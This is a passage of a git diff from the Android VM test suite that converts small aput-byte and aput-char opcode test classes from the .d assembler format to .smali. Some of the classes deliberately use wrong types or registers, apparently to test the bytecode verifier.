+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_1.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIB)V
+.registers 11
+
+       aput-byte v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.d
deleted file mode 100644
index 55f781e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_2.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BDB)V
-.limit regs 11
-
-
-       aput-byte v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.smali
new file mode 100644
index 0000000..a698991
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_2.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BDB)V
+.registers 11
+
+
+       aput-byte v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.d
deleted file mode 100644
index 56844377..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_3.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BIJ)V
-.limit regs 11
-
-
-       aput-byte v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.smali
new file mode 100644
index 0000000..437aca1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_3.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIJ)V
+.registers 11
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.d
deleted file mode 100644
index 06e4eff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_4.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IB)V
-.limit regs 10
-
-
-       aput-byte v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.smali
new file mode 100644
index 0000000..aee66e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_4.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IB)V
+.registers 10
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.d
deleted file mode 100644
index 2835e5b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_5.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([DIB)V
-.limit regs 10
-
-
-       aput-byte v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.smali
new file mode 100644
index 0000000..8c3ea53
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_5.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([DIB)V
+.registers 10
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.d
deleted file mode 100644
index 66da57c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_6.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JIB)V
-.limit regs 10
-
-
-       aput-byte v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.smali
new file mode 100644
index 0000000..29bdaf8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_6.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JIB)V
+.registers 10
+
+
+       aput-byte v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.d
deleted file mode 100644
index 4fb862b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_7.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BIB)V
-.limit regs 10
-
-       aput-byte v9, v7, v6
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.smali
new file mode 100644
index 0000000..4d19358
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_7.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIB)V
+.registers 10
+
+       aput-byte v9, v7, v6
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.d
deleted file mode 100644
index 0c4914e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_8.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BFB)V
-.limit regs 11
-
-       aput-byte v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.smali
new file mode 100644
index 0000000..b20808e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_8.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BFB)V
+.registers 11
+
+       aput-byte v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.d
deleted file mode 100644
index e644e87..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_byte_9.java
-.class public dot.junit.opcodes.aput_byte.d.T_aput_byte_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([BIB)V
-.limit regs 11
-
-       aput-byte v11, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.smali
new file mode 100644
index 0000000..b4ce47b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_byte/d/T_aput_byte_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_byte_9.java"
+.class  public Ldot/junit/opcodes/aput_byte/d/T_aput_byte_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([BIB)V
+.registers 11
+
+       aput-byte v11, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.d
deleted file mode 100644
index 409eade..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_1.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CIC)V
-.limit regs 11
-
-       aput-char v10, v8, v9
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.smali
new file mode 100644
index 0000000..a455856
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_1.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIC)V
+.registers 11
+
+       aput-char v10, v8, v9
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.d
deleted file mode 100644
index 0408006..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_2.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CDC)V
-.limit regs 11
-
-
-       aput-char v10, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.smali
new file mode 100644
index 0000000..8db76e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_2.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_2.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CDC)V
+.registers 11
+
+
+       aput-char v10, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.d
deleted file mode 100644
index 5010da6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_3.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([CIJ)V
-.limit regs 11
-
-
-       aput-char v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.smali
new file mode 100644
index 0000000..72e7282
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_3.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([CIJ)V
+.registers 11
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.d
deleted file mode 100644
index 67d67ec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aput_char_4.java
-.class public dot.junit.opcodes.aput_char.d.T_aput_char_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;IC)V
-.limit regs 10
-
-
-       aput-char v9, v7, v8
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.smali
new file mode 100644
index 0000000..94c1129
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aput_char_4.java"
+.class  public Ldot/junit/opcodes/aput_char/d/T_aput_char_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;IC)V
+.registers 10
+
+
+       aput-char v9, v7, v8
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aput_char/d/T_aput_char_5.d
